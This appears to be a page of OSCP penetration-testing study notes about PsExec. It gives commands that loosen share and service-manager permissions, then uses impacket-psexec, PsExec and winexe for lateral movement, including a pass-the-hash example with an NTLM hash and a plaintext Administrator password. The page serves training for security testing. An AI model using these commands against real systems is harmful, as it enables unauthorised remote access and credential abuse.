> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/configurations/psexec.md).
# PsExec
### Requirements for PsExec to work
1. User is able to write a file to the share.
2. Create and start a service.
Enabling Writable Shares
* Right-click --> Properties
* Sharing tab --> Advanced Sharing. Check the `Share this folder` checkbox.
* Click `Apply` and `ok` for all.
Change permissions of unwritable shared folders
```sh
cd c:\windows\temp
icacls .
icacls . /grant :r Everyone:F
```
Allows ability to create and start a service
```sh
sc sdset scmanager "D:(A;;KA;;;AU)(A;;CC;;;AU)(A;;CCLCRPRC;;;IU)(A;;CCLCRPRC;;;SU)(A;;CCLCRPWPRC;;;SY)(A;;KA;;;BA)S:(AU;FA;KA;;;WD)(AU;OIIOFA;GA;;;WD)"
```
Check if able to login using PsExec
Login PsExec with username and password
```bash
impacket-psexec corp1/sqlsvc@appsrv01
```
* password prompt will appear
PsExec.exe for Lateral Movement
```bash
psexec_64.exe \\dc02 cmd
```
PTH PsExec (pass-the-hash)
```bash
impacket-psexec resourced/jack@192.168.231.175 -hashes :
```
* From Win 10, Microsoft made the change so LM hashes are not used anymore, but since tools are legacy:
```bash
impacket-psexec resourced/jack@192.168.231.175 -hashes :19a3a7550ce8c505c2d46b5e39d6f808
```
### Using Winexe
```bash
winexe -U Administrator%Welcome1! //10.10.10.72 "cmd.exe"
```